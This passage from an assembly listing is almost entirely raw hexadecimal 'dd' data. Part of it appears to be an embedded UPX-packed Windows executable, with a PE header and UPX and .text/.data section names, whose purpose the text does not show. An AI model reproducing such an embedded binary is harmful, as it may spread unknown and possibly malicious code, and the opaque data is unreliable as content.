7F330DD9h, 0B28EC7E4h dd 0D1DC8232h, 9CF45F73h, 7B1BB8C1h, 600D732Bh, 7DACC21Dh dd 7F7FD977h, 0B3DBE1A3h, 6DB059EEh, 2267F92Fh, 0AB481753h dd 83EEE0BDh, 9DE7323Ch, 176ED0F5h, 34F84B1h, 0C144BB34h dd 3282E89Ah, 0E4BEE9B5h, 0A09F879Eh, 4BFFF109h, 2B2D4FEEh dd 0BCD018A6h, 839AF76Ch, 0C711194Eh, 884C9709h, 9764C697h dd 2D6E1237h, 0BC0232AFh, 0F66F014Dh, 0E7149F39h, 7F3D148Ch dd 6722FA43h, 0A1AA19C3h, 727F2082h, 4D27379Ch, 0F23F2637h dd 20E2EC80h, 78BA0D63h, 0ACC7FB47h, 0D16FD0E3h, 0EC8520D6h dd 7C02F911h, 3A959176h, 3DEBDEBh, 0F56F63AEh, 0FB814101h dd 65ADBD69h, 9422F109h, 0D9A303B9h, 8304D7DAh, 3BBCDE78h dd 9641E07Ah, 7A2DF0C7h, 0D77DA2F6h, 0D2436FFDh, 0C9E0C7A7h dd 0E652B8BDh, 0B5D2B36h, 0C544B182h, 0BA8B3D36h, 0B668361h dd 4C8BD036h, 0E561171h, 1E515DEBh, 0A7CF7C80h, 60B72D89h dd 0BD48218Dh, 25451DBEh, 7B905E8Ch, 99F8BDB4h, 0A96EFD91h dd 0B4BE0098h, 96327EF5h, 92C753F6h, 0B9F1EBC3h, 59EC1704h dd 0ACD6322Fh, 73B416CBh, 0EEBDCF5Fh, 18E9003Eh, 0D479580h dd 0D7EC243Bh, 2D237BE0h, 4326BC0Eh, 0E36AEE6Fh, 8ACB1FDh dd 0A9371875h, 0EC72D015h, 0E359B239h, 2FF666E3h, 0AE304C1Ah dd 0C9C4EB5Fh, 397E24E9h, 0C6F9EF2Fh, 0EB7A6C22h, 27CBC171h dd 0BEE9B542h, 0FBB9F8D5h, 641ED9E0h, 4BF31CF1h, 0A2FEB0A5h dd 0E5DC3EE1h, 729399C2h, 0EB3C04C2h, 40F34919h, 1681EDCDh dd 76B4618Ah, 94AA9524h, 4F6E24BBh, 0B31B18A3h, 0D2C39B58h dd 0E65E32CBh, 53E5D149h, 985DB4E0h, 8B3C815Bh, 0CC178BACh dd 85638A94h, 7D106F76h, 0B08B5BEh, 6D3DEDCBh, 0DF8E55B4h dd 0DE5B9FD8h, 781AB487h, 3DA9688Dh, 70BF76B3h, 57D8913Bh dd 89F22DDDh, 0CD12EF19h, 630B6D8Bh, 140B2977h, 0EE9B2847h dd 0C90FACBDh, 7ECB13FEh, 0D971EF3Eh, 2243BEFDh, 897BECF8h dd 0A290D1AEh, 0FBD196BEh, 383DBB80h, 19A8AD55h, 5D295CF0h dd 0F03ABA8Ah, 2FDA30DFh, 7C6176B6h, 456EFDCFh, 0F1B57964h dd 2411AECBh, 0E352ECF8h, 14ED89B7h, 0D5A44758h, 0D824F0A7h dd 69E3BB8h, 225F220Fh, 68058677h, 0E8D83EA7h, 4EF3C911h dd 385DD1C3h, 137B9AFAh, 897B7BB8h, 0E8DF481Ch, 88439D37h dd 0C61671B3h, 7F2735Eh, 0A1DD8589h, 0BD81EC33h, 81A9578Bh dd 0B2E02B5Fh, 0F05BEB00h, 181AB254h, 601662EDh, 158DB1A3h dd 560229Dh, 6E6D00E5h, 0F86B9DCFh, 0D2D89C3Ah, 59E17518h dd 4276CEBFh, 0F1A2D4FDh, 733ABF3Ah, 5B1BFBDFh, 0FD375A9Eh dd 0D681B7CFh, 64B05356h, 6A52418Ch, 0CCD3567h, 60BF1076h dd 3DD47CD9h, 0F5DDA6C8h, 0FFF7DDBFh, 8F8D796Fh, 88B4A7FBh dd 65D53325h, 0A1EE4DFBh, 3F58BF82h, 2BEF243Ch, 0E3448BF5h dd 0E93C1F21h, 0A5A730F8h, 67AC8798h, 6BB53BCCh, 7D99B123h dd 0E76827B2h, 0C44B3E64h, 0D065A4ABh, 56511C26h, 0B6A6F031h dd 0AC43DA80h, 2F2CD89Bh, 0F936AF6Dh, 652E9C85h, 8D76850Dh dd 64C578CFh, 3FB50280h, 11BE34F2h, 8D4822D1h, 0AA7D164h dd 97DD97B7h, 0D9CCD257h, 0A4176801h, 0D7CE04F7h, 911C0E07h dd 4FA2EA05h, 7CE3CB6Ch, 852C7B4Ah, 85009DB4h, 9C69C6D8h dd 0C66164B2h, 0ABF906A3h, 0D615344Dh, 2D181F47h, 0EC7F4207h dd 8E7B3ABDh, 0B1D0C9AAh, 0D1FE0886h, 1E67EF05h, 403BECC2h dd 0B9EEB3CFh, 0B527325h, 3E5CAEE2h, 4E3208EAh, 8119F7C1h dd 2D6CC1Fh, 0ED023269h, 0A90C863Ch, 59CF0870h, 93C3D500h dd 73A27073h, 0FE291F0Ah, 5C9569F6h, 645A824Ch, 0ED14D0DCh dd 12652EECh, 0EF790E35h, 0D27DA920h, 8AF73DAFh, 92EF1EF1h dd 6952204h, 0A4EE07EEh, 5A2CDED1h, 0EF4B9C21h, 4CFBE80h dd 0E9E9B0E8h, 0F6C8EF12h, 0AFD20470h, 691E833Dh, 7EB7D8EEh dd 0B7FFF1B9h, 0F703440Ch, 7318D04Bh, 0EB257E8Ah, 22B77960h dd 0E7490D7Ah, 0E38816A3h, 8CF3D4F6h, 0FCA465BDh, 96B8ED42h dd 0EE7BFF89h, 7B150325h, 0D608E30Dh, 0F2CE24E5h, 0C3675849h dd 0BA6A2D70h, 6166CABEh, 6895E70Eh, 0BE119937h, 0C65236DDh dd 0EE0435B2h, 1963F8E4h, 7FC4ACE8h, 6B4978A8h, 8C67EB57h dd 5ED33EA9h, 0B40F39FDh, 2C15B38Eh, 0FAA73F3h, 261F806Dh dd 0BE50B027h, 0A60F646h, 2F703192h, 81EC9C78h, 479018DDh dd 0FEB782F2h, 6A2EA223h, 0FD7B1F8Eh, 3223D22Ch, 2A9F9350h dd 0DA0FBD5Ah, 0EB89798Ch, 1EEC3525h, 5874DB76h, 0BBD860C9h dd 0C7C3F039h, 3C977BDAh, 0F7F0A41Bh, 76B2B392h, 6FB25F41h dd 812815F2h, 61DE535h, 0B8ED7B1Dh, 3EE540EBh, 0F7910555h dd 98C4E18Eh, 0EDEC9061h, 36D3866Ah, 0FE0B5E22h, 0C884C4B3h dd 0B8F0FF73h, 96D6B2B0h dd 0B6CB6B67h, 2A7273B6h, 9BC20BF5h, 7F10E28Eh, 15B58636h dd 2B7F5B6Fh, 2D618C7h, 333FDCF6h, 0D684E51Eh, 0AD1F243Bh dd 1C709F14h, 68DC7B1Eh, 0D013D031h, 835D51D9h, 0DBCE34B4h dd 5BE50DF5h, 74CFE575h, 92739315h, 3F67CA36h, 772BAFE8h dd 0F0B0E70Bh, 23697B59h, 71BBCD4Ch, 0DE3A59Ch, 74A5B6C9h dd 0F63E06BEh, 1F39B003h, 0F3DC2A78h, 0CFF75DBFh, 0B04D7BEEh dd 57BB3DEAh, 9F66A70Bh, 0ADB2A470h, 58A43A16h, 0D6117AA5h dd 298B4BC8h, 0DF11CE50h, 1CCB9B25h, 73D1A63Ch, 31CE3FD8h dd 87D95E07h, 0A04FB2D3h, 138BF0EBh, 2AD229C3h, 0B0396527h dd 82999619h, 836EE433h, 7FC8FEE6h, 0F038D713h, 0BFC67244h dd 14AB8D40h, 2239A541h, 0B976F14Dh, 0E48D51D7h, 5112B817h dd 34F25935h, 8883D54Bh, 72B90A6Bh, 6641F3CDh, 0ADBC461Fh dd 0CF1ED2D7h, 27C7F765h, 87D38BDCh, 1D6198A7h, 0E713BFFCh dd 0C4E27489h, 0A4AD2136h, 0EEB36AEBh, 9B33498Dh, 0A10FBBECh dd 89429CE2h, 0B29F717Ah, 95140783h, 79F78C60h, 7B94FD76h dd 0CFF9AE78h, 0AEEFAF55h, 0BCE7FD40h, 4C7184D7h, 7A30EDA4h dd 8554B75Eh, 0E9451734h, 8F199B19h, 1AF40875h, 8B7FA693h dd 5713B02Ah, 3CDBA82Bh, 6C55E0A0h, 54AC1553h, 37A3B483h dd 0BBC75C1Ah, 601A4F88h, 960A9C19h, 234BF7D4h, 8421DB72h dd 0A2B66815h, 0C04DE718h, 0DC835D1Ah, 0AC2A508Fh, 91FF1E5Fh dd 0F8E95AB7h, 0FB14E10Fh, 912701A0h, 0E248B7BFh, 0FCF49601h dd 4651EFDEh, 4CAAA2ACh, 921E7669h, 55E4229Dh, 504BFFA3h dd 35584AF2h, 269B23DDh, 0A45A351Eh, 0DE5DC01Eh, 0BF411C63h dd 8F7FAAECh, 4C521D56h, 0C8A7F563h, 0F70DAA45h, 921E8780h dd 39007107h, 444EBC9Dh, 5EA034ADh, 0E4535D37h, 4457310Ch dd 0AC4887A5h, 1749C8F7h, 0F36FF593h, 2FAD10F5h, 68A451E7h dd 0CD5CD43Dh, 23F90AF0h, 35848043h, 54291C5Ah, 0D2D19626h dd 61F2F3D1h, 16447B31h, 0F2B3D748h, 7F73DD52h, 0A458C96Eh dd 7C01C495h, 0CF5AB553h, 0F609C21Dh, 0BB1A0EBBh, 5EE89078h dd 6B0C039Dh, 399A49CFh, 0B2958603h, 5160D011h, 7BCA61E8h dd 0E257E7C5h, 2F365D91h, 695C80ADh, 6A41FE1h, 7D85CC6h dd 0A6F86D30h, 77039E4Fh, 1686A2FDh, 96638D3Eh, 0B661E9E0h dd 88D714A1h, 6A2B2E2Fh, 0E4778CBFh, 8D228E53h, 40A635AAh dd 199F73DDh, 34FBA3ABh, 0AB9988C3h, 0F5362E4Ch, 6ADF6D0Bh dd 0BDA23E9Eh, 1DB4E650h, 0D790EB46h, 6E8A5A34h, 0A41BBEC1h dd 7341767Bh, 983F298Ch, 2589F8Fh, 73B5600Eh, 0E7DF82EEh dd 0FBE0EA90h, 3BC5F24h, 92BB1A62h, 0B123F39Eh, 500BE483h dd 0F5429E75h, 1EF00B79h, 99CEFD64h, 7788B4B2h, 8E3118Ch dd 0F26A33B0h, 147192E8h, 76E904EFh, 4DF7C9B3h, 5236C288h dd 0A23DCC47h, 3EAA8755h, 7A7E79Dh, 51C45F11h, 0D878AF30h dd 11F2A854h, 5B42EEB1h, 9290CD10h, 37593BDCh, 62A3159Dh dd 46B257CDh, 0B2C1B5EDh, 67E316EFh, 0C64471C3h, 0C07C2EBCh dd 48CF0510h, 9F948EF0h, 4B19A939h, 49187C95h, 952732Eh dd 0DD4AD89Ah, 0B4758F26h, 6E892CF4h, 2C5F2F74h, 15F6A9F3h dd 0FFCD600Eh, 0F2F325BBh, 3D8AA16h, 0B0B6778Fh, 0E95D37AEh dd 48974DABh, 0DA96DAB9h, 7571D44h, 883967EBh, 8E2639h dd 0ACC7C34Fh, 0C70AA6F7h, 9C88AF29h, 8ED56896h, 0A278058Fh dd 13BB6713h, 0F1920304h, 51E7DF12h, 8F4C6A6h, 0E2C60434h dd 0F7A17F36h, 16615A17h, 0B6AEF74Ah, 12BAECC5h, 0E21DC5DEh dd 0D937ECF9h, 75CB91F9h, 86FCD8F4h, 0F769E69Ch, 30E296C1h dd 3E5896ACh, 5FE916D7h, 0FD7D196Eh, 82F2B434h, 9D64579Eh dd 5924A324h, 1ECD10C0h, 7BA25234h, 0AB4F1E94h, 0CC509FCCh dd 8B88A135h, 672809B3h, 27DF4B9Ch, 0D74391C8h, 7BDE7EA3h dd 0D477FCE6h, 466B7FF9h, 0C7B1872Eh, 79D3F3E9h, 635F9D57h dd 6D37A61Ch, 0B2BC6E7Ah, 879C306Dh, 0C623D4AAh, 0A8BBA692h dd 17BC0FBh, 0B9763F5Bh, 0D3C7E0AEh, 0DA4DB1E0h, 0D66168CEh dd 77B57334h, 0D1C739DCh, 83793AC2h, 6963157Dh, 37D7533Fh dd 79751F34h, 471D1759h, 0BD9D62F0h, 0C6F25C76h, 0F58CC20Ch dd 96ADD28Dh, 3959DC93h, 237678D7h, 0AB181BF0h, 7BEFA1DFh dd 958FCB80h, 0C46E9F84h, 0E745757h, 0C8C2B38Dh, 0C205688Bh dd 0D6EAC669h, 7FAC9F55h, 0F35B5E5Bh, 5D1B0FF5h, 0A62CBBA6h dd 94751520h, 437E943Bh, 570D8DE6h, 0A18C0BEAh, 9CB26929h dd 87016D5Ch, 0AEC2202Ch, 92C48C1Bh, 0F94AFEF6h, 3084C8EEh dd 8B7EF3A2h, 1658AA04h, 5C8F3D62h, 0F5C87883h, 9C0DCC25h dd 76D9CFB6h, 0E93AEE15h, 686C9712h, 0C30BF1CCh, 6177BAF1h dd 4D4F39A7h, 0BC85B331h, 0FBE27A4Bh, 731EBA80h, 0BBDCEBDEh dd 1A0AD4ADh, 7FA4C5FDh, 4CBDD360h, 0AB4A4E11h, 7B26E265h dd 33A5E3F7h, 0F4C85DF7h, 1C1A055Eh, 2F742E11h, 0E654CD91h dd 197353BAh, 523B9499h, 0E1F78CEBh, 0C2AD64C6h, 0EA296FAEh dd 0BA5A7E63h, 1A5BE22Ah, 9B55BEF9h, 0A27D49EFh, 6B528185h dd 0C78CCE72h, 5DCF9BFCh, 0B69A732Dh, 0E9AD8E0Ah, 0ED8B3761h dd 5E1B9394h, 3A201BE5h, 0C8EAE9FAh, 35EE3999h, 0AC66F38Ch dd 0D30EB881h, 0C33F6F73h, 0AA7C5ADDh, 0B7C093B0h, 705912D9h dd 8DB92414h, 0C8499349h, 9AB1776Bh, 11D7F29h, 53CF71F7h dd 0B91CE0A8h, 60F2CA55h, 5C471C07h, 0F5B14352h, 2F66F4A9h dd 0CA38C3F2h, 61C37EB7h, 0F656A546h, 0DAEB5F28h, 0D210C4C8h dd 3215CD69h, 7BB652B1h, 29E6D53Ah, 26E29727h, 5BF90DB6h dd 0E876FACAh, 189DF1C2h, 556C83F4h, 7C5B996Ch, 11F27ADDh dd 8DAB5978h, 0C4FBC967h, 3F7D317Dh, 9FC05BF3h, 0AC3780BBh dd 0EF1A8D3Eh, 0CBE07307h, 6FE6EA76h, 0B7C788FBh, 7C1444DFh dd 0C56907B7h, 65B7297Ch, 0E3C7090Fh, 83387D2Ch, 0B8F2A877h dd 4A8DA843h, 48D631CDh, 2D3CCEB7h, 1A7B49B9h, 2E75ED2Ch dd 0EC435F30h, 88EEC8E2h, 88E6F3F0h, 4354738h, 0FC36353Dh dd 0F74BDEDFh, 974DCDBFh, 4CAD499Eh, 9F7C4E3Eh, 58768DB0h dd 0A70BE2F7h, 1712280Dh, 0FDCDCA7Ch, 708F2772h, 18CE82E3h dd 9AD8BA77h, 2EFF7C62h, 637B013Dh, 0E71D2471h, 73777270h dd 69A25D72h, 0E5774DE7h, 0A9AEF040h, 8552B956h, 7FF3A54h dd 976BF74Eh, 27A95DEBh, 0C827EFA4h, 2FF3DA0Eh, 0BEFDACE1h dd 5B660976h, 0FBE9CFE3h, 0AF78B432h, 475E6B06h, 0BB68278Dh dd 71CBB911h, 39B3B84Ch, 29F7E663h, 5BB924D8h, 0E82E7690h dd 0D4F5992Ah, 50BC8C75h, 8FE5CF58h, 0FCF4CBB8h, 7AFD2533h dd 798FAE12h, 0B0B4F631h, 4F738757h, 53740A25h, 0CD8FF2D5h dd 0E839954Ch, 7E302571h, 44F68077h, 0E077C718h, 7BD788ACh dd 9E53F1A4h, 511B3858h, 0E3D5BD4Eh, 0D696545Eh, 71F5C51Dh dd 0E6F4B6E7h, 0E5977AE8h, 0D4474B06h, 3D7352B9h, 0CD20EEA0h dd 96263BB9h, 241CF149h, 9B6FE242h, 8DFCB2CFh, 4C56DF1Ah dd 0DB19DAA5h, 1D2743C7h, 0D2B07BFAh, 35EFE3CCh, 0D29509FFh dd 0B59EA83Dh, 0C0D7BC5Bh, 0CE3AEA32h, 0BF1DA1B8h, 0A01F630Fh dd 97BE03DCh, 0CB90D9Bh, 0D80ACEB4h, 0A89FA5BEh, 319A462Ah dd 89036FB0h, 55F2D43Bh, 6AEBB8C3h, 6FDFD406h, 0B875957Ch dd 4BDB7449h, 0F3FEEBE8h, 0BF316F75h, 0F727D09h, 0C93A0729h dd 0E06FB1CCh, 0F6DFF3D1h, 0B95B9FF3h, 6D18B595h, 0AC7B5571h dd 77F79FF1h, 0AEE69658h dd 0FDD29D56h, 44F43A06h, 0F1DE2634h, 0A2B0BFB3h, 25AC4A6Bh dd 62305CE2h, 11F43907h, 249A2B41h, 0B66050ADh, 0D6A47241h dd 0D812788Bh, 4EEF3C7Bh, 0B9F84473h, 5D03DEE8h, 0CAEA6FA7h dd 983CE219h, 9FA6FD9Dh, 59CFD3FDh, 0BC33D226h, 67C8FC15h dd 2CE6AE63h, 71E407DCh, 0F77A895Eh, 36AE3AAEh, 313934DEh dd 0B89076BBh, 0E59362E5h, 0F5D136DFh, 8AD88DEEh, 0A6B1E62h dd 86A539F7h, 0FC95D926h, 0A48467FDh, 3C64EAEFh, 0FDB665DFh dd 0D1A84329h, 0B7222FA1h, 0F74E6635h, 0E1E4955h, 4AB238DFh dd 93C0379Fh, 0B95AF92Fh, 9CFE6F4Ch, 56F6C522h, 7F64D541h dd 0B6295CF2h, 72FCE6D4h, 1AEE1BDEh, 0A835B7BCh, 5D39AC88h dd 60749AA7h, 0C82F6F84h, 0DEE4EEFBh, 0E675AE1h, 53C8D71h dd 0C025DBC6h, 0EBD936DBh, 0FBE27658h, 1B5F16F3h, 0F134FD4Fh dd 0FA18B8DDh, 8F543337h, 37A620EFh, 7C3EADE9h, 0F5C0A7FAh dd 0AC68AF42h, 896E62E5h, 0CB583F65h, 0EFA4AE5Fh, 3618E247h dd 0FE9606EEh, 14D8E905h, 8E7B579h, 0E813EF76h, 3D04380Dh dd 2519F961h, 0BAB1BE33h, 283444C8h, 889D9291h, 0B9BD806Dh dd 0CC2FF93Bh, 7ACC9D5Fh, 5DFBB563h, 821D67AAh, 5E4AB787h dd 25F28877h, 0F3D31DFBh, 7789D812h, 2BB02E13h, 33B0D5B1h dd 6AB81583h, 8DBBA7E2h, 0DF5D576h, 235D96BBh, 68F5D370h dd 0EC936C44h, 0BC33B9AAh, 0C3F957E3h, 0D555D733h, 13BD7317h dd 0D5C4C115h, 2DC1AAEFh, 0EAEA9CDFh, 0D8DCB8ABh, 786DCB3Ch dd 0B46F8937h, 0B6FD3B1Eh, 275BD2C4h, 0DF1F2D62h, 0DB9C7A3Ah dd 984AA545h, 0B773AF8Eh, 65D4A1Ah, 2EB94B16h, 81D5DD08h dd 0C2B8EE15h, 5645F3C6h, 0D573D24Fh, 0C154C106h, 8B17EE52h dd 2DDCEC33h, 0F588A9A0h, 6605A084h, 4B899670h, 298C9E2Bh dd 0D635588Ch, 0DDCF7225h, 22ADCAABh, 0BB18D830h, 48CCD75Bh dd 466E71F3h, 0B3C74AE3h, 1BF38375h, 94D4E7E4h, 37A2ADDFh dd 986ED939h, 66185BD2h, 4AE31246h, 2BBF7A49h, 0F12814EEh dd 4F67F5C4h, 656707D2h, 95787743h, 0C8EABF39h, 0EB869E38h dd 7F34C575h, 698C9632h, 0DD20DC3h, 8496FDDAh, 0A927741Ch dd 637DB3Bh, 0F999ED61h, 0E6AE735Ah, 6F1A3DC3h, 0CB9A8DFh dd 3F2BAF4Fh, 0BFE922F8h, 12B49DFCh, 0BD76B017h, 4DFB35EFh dd 70DDFFEFh, 1DE136FAh, 6DFE11Fh, 0E4E5B37Bh, 0EA67216Eh dd 0DF48AF50h, 0DD1E897Eh, 0BB971F37h, 671CB9A7h, 55317C4Bh dd 8CE5883Dh, 7775A5AFh, 0F2D3C03Fh, 211C7239h, 1C6EC419h dd 0B96EFC6h, 0A5F89DB1h, 0FAF76CD3h, 758E2A02h, 4CB307D3h dd 81ED96A7h, 0EB99F9F8h, 0DD08BDE4h, 0DC8426E4h, 0DE3C7E3Ch dd 0E71D6CE0h, 912B4FB1h, 9CBD5236h, 0ABD6B0F8h, 8ED61098h dd 0EF816F22h, 0FD3CCAE7h, 3BAE969Eh, 962112BEh, 2BAD9DECh dd 0EDBABEB3h, 57BC3165h, 0CB6184A7h, 0DE17B82Bh, 3E369E01h dd 0A4F79B6Ch, 0F3CA222Dh, 7C686A80h, 2C284013h, 0AF9E69Dh dd 0B9B9570Eh, 9EBBAFEEh, 0ED3CE5BAh, 0BE465A9Fh, 1D3F897Bh dd 0CAEB9F7Bh, 7DE8BF73h, 9630DBF0h, 0CDD4E86Fh, 8BE4059Ch dd 0B3C616D9h, 0DC679CE2h, 0CCC83831h, 36FFDD7Ah, 64B9FE32h dd 0BECEE63Eh, 0CC82AA35h, 0E3D339F5h, 0DF1B6FC3h, 72178AA1h dd 4DBD58F9h, 989E3B04h, 5D7A6EDBh, 0C445CE5Dh, 0CB1145EFh dd 6CB2FB67h, 0C756EC7Fh, 3359A76Eh, 0F2A01EF7h, 3B487CDh dd 1268DE56h, 0DBF37FF7h, 39C4FA24h, 0BACFFF68h, 0DF882D90h dd 0BF771096h, 2BAB9BE1h, 0E2C17FB0h, 91CEBA95h, 25E6F1F7h dd 7DF4BDE6h, 0A41772FFh, 66F657F8h, 0C19359DAh, 164F8D3Ch dd 6E562347h, 0BED24F62h, 0A1324B81h, 0EFCF06FFh, 2C83h dd 45500000h, 14C0000h, 59BE0008h, 4660h, 0 dd 0E00000h, 10B010Fh, 5253h, 40000005h, 4, 0A10B0000h dd 0D000000Ch, 0D0000008h, 0Eh, 10000040h, 2000000h, 40000h dd 0 dd 40000h, 0 dd 0D2000000h, 10000014h, 6E800000h, 20009h, 0 dd 10000010h, 0 dd 10000010h, 0 dd 100000h, 2 dup(0) dd 0D0000000h, 660014h, 14h dup(0) dd 0D0000000h, 288000Eh, 6 dup(0) dd 50550000h, 3058h, 20000000h, 10000007h, 20000000h, 10000007h dd 3 dup(0) dd 800000h, 5055E000h, 3158h, 90000000h, 30000001h, 90000007h dd 30000001h, 7, 2 dup(0) dd 400000h, 5055E000h, 3258h, 10000000h, 0C0000000h, 10000008h dd 0C0000000h, 8, 2 dup(0) dd 400000h, 742EC000h, 747865h, 0 dd 0D0000005h, 8, 0D0000005h, 8, 2 dup(0) dd 200000h, 612EE000h, 61746164h, 0 dd 0D0000001h, 0Dh, 0D0000001h, 0Dh, 2 dup(0) dd 200000h, 642EE000h, 617461h, 0 dd 0D0000002h, 0Eh, 0D0000002h, 0Eh, 2 dup(0) dd 400000h, 702EC000h, 61746164h, 0 dd 0D0000004h, 10h, 0D0000004h, 10h, 2 dup(0) dd 400000h, 692EC000h, 61746164h, 10000032h, 0D0000000h dd 2000014h, 0D0000000h, 15E70014h, 5FADB39Ch, 0DFE973E1h dd 4086A4h, 0DFDC000h, 6DB47FB8h, 791D976h, 3F9BCBE5h dd 0EB387A6Fh, 0AE7165CBh, 2F950915h, 994CA897h, 0A7D3C06Ah dd 86A963B6h, 0A7E1F31Eh, 0C9352CCEh, 0E63D9EE1h, 27443E2Fh dd 0AEB6653Eh, 5B74B9D9h, 0C4A4EDEDh, 0D353AFA7h, 854403D2h dd 0D86F3996h, 0E623F098h, 0CA8AF98Ah, 0E56A6775h, 0DF71ABA6h dd 0B5982B7Ah, 0AAA0F98Ch, 0A09BF30Dh, 18FE768h, 0DC6E7F2Ah dd 4DCE799Fh, 662F9BDAh, 21C3A472h, 0A6397D43h, 0EBFF39E9h dd 0AEE59444h, 8E6A331Fh, 3C1BFD72h, 0FAF7FEAFh, 0BD1EEF05h dd 31F658BFh, 22C1A66Dh, 790A9BE5h, 0AEF7A2F3h, 0D37AB4DFh dd 0B3AAE8A5h, 0E76DA7DBh, 5D7CBBF7h, 0EEC6DBCCh, 8AA9DF9Ah dd 176A574Bh, 0CF8514AAh, 0B3C69FBDh, 82F64C37h, 0B37152F3h dd 0FD7C571Bh, 67EFA614h, 0CB3F718Ch, 5D245E6Bh, 2392C8D4h dd 0EDFEE79Ah, 47CCEF0Bh, 25ED778Dh, 0DB2D55DFh, 0B278BE6Ah dd 0ADF4E5D0h, 966C1B66h, 0D3506C1Ch, 0B6567D4Ah, 0EDAF3164h dd 0CDCE0D7Fh, 49CFA4EFh, 75B43ACCh, 1343F3CFh, 13F4DD5Eh dd 0CAECFE3Eh, 0F5151BD1h, 671B16D9h, 0A064FE1Ch, 0D8B9D1A2h dd 0DCEB737Dh, 8EB7794Fh, 57A9BCA8h, 7D5CFC7Ch, 0F4CCF366h dd 97BF2933h, 14926EAFh, 0B26DE250h, 0B9F85A0Eh, 32EA656Eh dd 3BABFEE7h, 0BFEE2B26h, 0C7C5A5EAh, 0EAE4FC6Dh, 8B4CF7FEh dd 0DBF44B7Ah, 99B3735Dh, 0E62CDC72h, 0D4CF5F7Ch, 0BA64D16Bh dd 196BE7DBh, 7991DD4Fh, 0F17C151Eh, 33338ACBh, 40C3D895h dd 780007B9h, 0CEC218h, 2D000000h, 2D5B9596h, 4C5B932Ch dd 4F5B9326h, 3C9BD775h, 0C2DE9B48h, 8250F668h, 0F1988398h dd 632196D3h, 2AC6C7DEh, 61E44A46h, 0E60643A1h, 439CBFD4h dd 0D61B7C7Dh, 0B3B28F60h, 8E9A19A9h, 0BAAFCEEFh, 107A527Eh dd 8C34D42Bh, 0ACAF6313h, 0FD36E967h, 8DE6C041h, 0F279A474h dd 3D7607C0h, 11415726h, 0C2DACEECh, 89A260D1h, 2F22971Dh dd 5CFDC260h, 0BEE18BCEh, 0C4AE57Bh, 356D38C6h, 20167749h dd 0A0198EB2h, 70655F02h, 34277386h, 0A3C5141Ch, 0CD82AC65h dd 461A8669h, 9CB819AAh, 0CDFE95D7h, 2F897F8Ah, 35EB017Ch dd 861F27C3h, 744A4F5Bh, 235FA85Bh, 0EF6478CDh, 0BE971092h dd 0B8A656B8h, 0EC16B42Ch, 0CDC84761h, 0B63C4DA3h, 19B3D25Bh dd 69A7A94Ch, 0C1030808h, 1249E5F5h, 0AAD79DB4h, 80C4FC11h dd 0ECEB7F46h, 0AA445D53h, 529441C5h, 7D4F2002h, 0D45D686Ah dd 0FD4E07FFh, 0BC344AACh, 17C7853Dh, 0CD114924h, 5C5EFA52h dd 0ECF85F91h, 0B6EC962Fh, 69F9E34Ah, 1DD57F7Fh, 0E642CA23h dd 6BD4AF61h, 675F97CAh, 7BA942BEh, 0CD293630h, 7B12A48Dh dd 57C97A78h, 0CF4D16CCh, 0DF940224h, 9770B660h, 2182B7Ch dd 470255F3h, 5383AAC7h, 0D28E9FBBh, 1C990248h, 375EEB56h dd 160E7566h, 0F19ED7CCh, 360756FCh, 0A0C7BCF9h, 0C86FB224h dd 0FA3E0F6Bh, 80C2DA47h, 32482FDh, 95BADEEAh, 0A1FD98A9h dd 162B252Ch, 0B2D78572h, 0ECBAFA65h, 845BE9EDh, 0D733611Bh dd 0B2D0FDE9h, 0ADCBB753h, 0DEE62E64h, 0B1C97C14h, 4C368F2Bh dd 3E6032ACh, 35DBCA0Dh, 0F2F13748h, 0AF53A74Fh, 0A620BD0h dd 32CB2007h, 9E457713h, 324B5DF4h, 0FD520B85h, 446EE24Fh dd 0C67AB0BEh, 0E0026C79h, 92E5E6EDh, 28EF2ECh, 166926FCh dd 279031F1h, 0B4C72321h, 29CBBA30h, 4F0ECB66h, 122CE13Dh dd 0B91B9A08h, 6D0FA312h, 0BF19190Eh, 8A37B5AEh, 1BF13C4h dd 0F8EFCD1Ah, 3721DABBh, 219DD25Eh, 81D50C95h, 1057F7B9h dd 3A1DE282h, 0EE391167h, 0FDFA41F4h, 6439E003h, 0CA9341EAh dd 0F203F1B6h, 5C1461C7h, 2C0EDE9Bh, 5AFF6096h, 822C6869h dd 635134EAh, 9C811F74h, 0EBB46CD6h, 0E68C212Dh, 0DE0082D7h dd 0A92624F1h, 938E8AC6h, 0D255AA96h, 1F0EBC3Eh, 0DFC93281h dd 2D49BC05h, 0D82C76Dh, 392DF80h, 9C6B5256h, 0CB3CFCB7h dd 3395F98Ch, 886B5118h, 247FB59Ch, 4864253Ah, 4A178ABCh dd 36F5541Ch, 0A3D0D99Ch, 90A4D3B7h, 0F702792Fh, 0BD546096h dd 0CB4D37B3h, 0B0BEAD31h, 0B683FF26h, 62403EC0h, 91873E35h dd 1B4F2A26h, 0D0DDABC9h, 765CEA82h, 2C370B3Eh, 4C6DCA14h dd 0B61153EEh, 0DBA1F715h, 42FDD7EEh, 893F345Bh, 0B304A23Ch dd 52B451C1h, 23FEBF81h, 462BB206h, 0F08B184Ah, 0AC023C13h dd 0F5A00C5h, 8ED2583Dh, 0D3FCB700h, 3B62648Ch, 5B494D29h dd 786F739Bh, 73265291h, 0A9903FECh, 0D1757859h, 0A5E9711Eh dd 0D301E093h, 0E04CB35Bh, 0A7EA464Dh, 0EE9F83E1h, 20423F91h dd 0EC04EDCDh, 3F8B00BFh, 0FFB3F4DDh, 0F4ADC01h, 4490826Fh dd 0AE7DE507h, 6985F744h, 446CF31Dh, 3C543A22h, 0A5DF5CCCh dd 0A2052C7Ah, 0D6683804h, 6B850043h, 37687896h, 3D851FDFh dd 1097F31Eh, 5F3DFC95h, 0DC07C2FCh, 28454234h, 39A20AABh dd 97B1E505h, 0DDB11E08h, 9592128Ch, 61D66D3Eh, 5EC3FF3Fh dd 2C68630Fh, 92E31242h, 58D7B565h, 4E4CFDB8h, 7299909Fh dd 5D01FD5Ah, 4B58AEEAh, 62033459h, 32E9024Bh, 0F56C86DEh dd 0E9443695h, 607F6BD0h, 5EFA3F5Ah, 0F2AB58AFh, 29ABE8ABh dd 0AC288862h, 0B781A09Ah, 0D6FE8996h, 0BAB3048Fh, 0F3E9F6D7h dd 721E31Ch, 0B62B7A9Ah, 6633C5ACh, 85E2763Ch, 0E2173C59h dd 421EEA6h, 0DF1C4EDAh, 327B671Ah, 0E5328EAFh, 9F763C43h dd 0D49E18C0h, 2BA31E97h, 4F5D501Ah, 8D766C43h, 2FBC2893h dd 14B6BF55h, 10B2F6D0h, 677437A2h, 0F2A4E12Dh, 0ECBD1817h dd 0B5EEDE64h, 61BC9B65h, 